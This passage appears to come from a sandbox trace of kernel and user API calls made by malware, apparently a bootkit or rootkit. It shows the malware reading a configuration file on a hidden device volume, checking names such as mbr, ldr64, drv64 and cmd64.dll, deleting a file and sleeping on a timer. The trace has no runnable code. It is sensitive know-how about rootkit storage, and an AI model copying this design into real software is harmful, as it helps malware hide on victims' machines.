FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.713] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.713] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aaee20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.713] KeLeaveCriticalRegion () [0116.713] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.713] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.713] KeEnterCriticalRegion () [0116.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.713] ExFreePoolWithTag (P=0xfffffa8003869e60, Tag=0x0) [0116.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.713] KeLeaveCriticalRegion () [0116.713] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.713] ReleaseMutex (hMutex=0xf0) returned 1 [0116.713] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.713] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0116.713] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.713] KeEnterCriticalRegion () [0116.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.713] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.713] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.713] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.713] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.713] IdePortDispatch () returned 0x103 [0116.713] KeWaitForMutexObject () returned 0x0 [0116.713] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.713] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.713] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.713] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.713] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.714] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003874c50 [0116.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.714] KeLeaveCriticalRegion () [0116.714] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.714] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.714] KeEnterCriticalRegion () [0116.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.714] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.714] KeLeaveCriticalRegion () [0116.714] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.714] KeEnterCriticalRegion () [0116.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.714] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.714] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0116.714] IdePortDispatch () returned 0x103 [0116.714] KeWaitForMutexObject () returned 0x0 [0116.714] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.714] KeLeaveCriticalRegion () [0116.714] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.714] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.714] KeEnterCriticalRegion () [0116.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.714] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003525000 [0116.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.714] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.714] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.714] IdePortDispatch () returned 0x103 [0116.715] KeWaitForMutexObject () returned 0x0 [0116.715] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.715] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.715] IdePortDispatch () returned 0x103 [0116.715] KeWaitForMutexObject () returned 0x0 [0116.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.715] KeLeaveCriticalRegion () [0116.715] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.715] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.715] KeEnterCriticalRegion () [0116.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.715] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.715] KeLeaveCriticalRegion () [0116.716] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.716] KeEnterCriticalRegion () [0116.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.716] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.716] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003874d10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.716] KeLeaveCriticalRegion () [0116.716] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.716] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.716] KeEnterCriticalRegion () [0116.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.716] ExFreePoolWithTag (P=0xfffffa8003874c50, Tag=0x0) [0116.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.716] KeLeaveCriticalRegion () [0116.716] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.716] ReleaseMutex (hMutex=0xf0) returned 1 [0116.716] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0116.716] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0116.716] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0116.716] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0116.716] KeEnterCriticalRegion () [0116.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.716] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.716] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.716] IdePortDispatch () returned 0x103 [0116.716] KeWaitForMutexObject () returned 0x0 [0116.716] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.716] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0116.716] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.716] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.716] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.716] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.716] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.716] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.716] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.717] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0116.717] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.717] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.717] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.717] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.717] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.717] KeLeaveCriticalRegion () [0116.717] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.717] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0116.717] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0116.717] KeEnterCriticalRegion () [0116.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.717] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.717] IdePortDispatch () returned 0x103 [0116.717] KeWaitForMutexObject () returned 0x0 [0116.717] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.717] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0116.717] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.717] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.717] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.717] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.717] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.717] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.717] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.717] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0116.717] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.717] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.717] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.717] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.717] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.717] KeLeaveCriticalRegion () [0116.717] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.717] ReleaseMutex (hMutex=0x100) returned 1 [0116.717] Sleep (dwMilliseconds=0x2bf20) [0116.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x68cfee70, dwHighDateTime=0x1d24fa4)) [0116.791] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0116.791] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.791] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0116.791] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.792] KeEnterCriticalRegion () [0116.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.792] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.792] IdePortDispatch () returned 0x103 [0116.792] KeWaitForMutexObject () returned 0x0 [0116.792] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.792] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.792] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.792] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.792] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.792] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ad2e50 [0116.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.792] KeLeaveCriticalRegion () [0116.792] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.792] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.792] KeEnterCriticalRegion () [0116.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.792] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.792] KeLeaveCriticalRegion () [0116.792] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.792] KeEnterCriticalRegion () [0116.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.792] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0116.793] IdePortDispatch () returned 0x103 [0116.793] KeWaitForMutexObject () returned 0x0 [0116.793] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.793] KeLeaveCriticalRegion () [0116.793] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.793] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.793] KeEnterCriticalRegion () [0116.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.793] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d9000 [0116.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.793] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.793] IdePortDispatch () returned 0x103 [0116.793] KeWaitForMutexObject () returned 0x0 [0116.793] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.793] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.793] IdePortDispatch () returned 0x103 [0116.794] KeWaitForMutexObject () returned 0x0 [0116.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.794] KeLeaveCriticalRegion () [0116.794] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.794] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.794] KeEnterCriticalRegion () [0116.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.794] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.794] KeLeaveCriticalRegion () [0116.794] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.794] KeEnterCriticalRegion () [0116.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.794] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.794] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003874d10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.795] KeLeaveCriticalRegion () [0116.795] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.795] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.795] KeEnterCriticalRegion () [0116.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.795] ExFreePoolWithTag (P=0xfffffa8003ad2e50, Tag=0x0) [0116.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.795] KeLeaveCriticalRegion () [0116.795] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.795] ReleaseMutex (hMutex=0xf0) returned 1 [0116.795] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.795] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0116.795] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.795] KeEnterCriticalRegion () [0116.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.795] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.795] IdePortDispatch () returned 0x103 [0116.795] KeWaitForMutexObject () returned 0x0 [0116.795] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.795] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.795] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.795] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.795] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.795] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003874c50 [0116.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.795] KeLeaveCriticalRegion () [0116.795] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.795] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.795] KeEnterCriticalRegion () [0116.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.795] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.795] KeLeaveCriticalRegion () [0116.796] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.796] KeEnterCriticalRegion () [0116.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.796] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0116.796] IdePortDispatch () returned 0x103 [0116.796] KeWaitForMutexObject () returned 0x0 [0116.796] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.796] 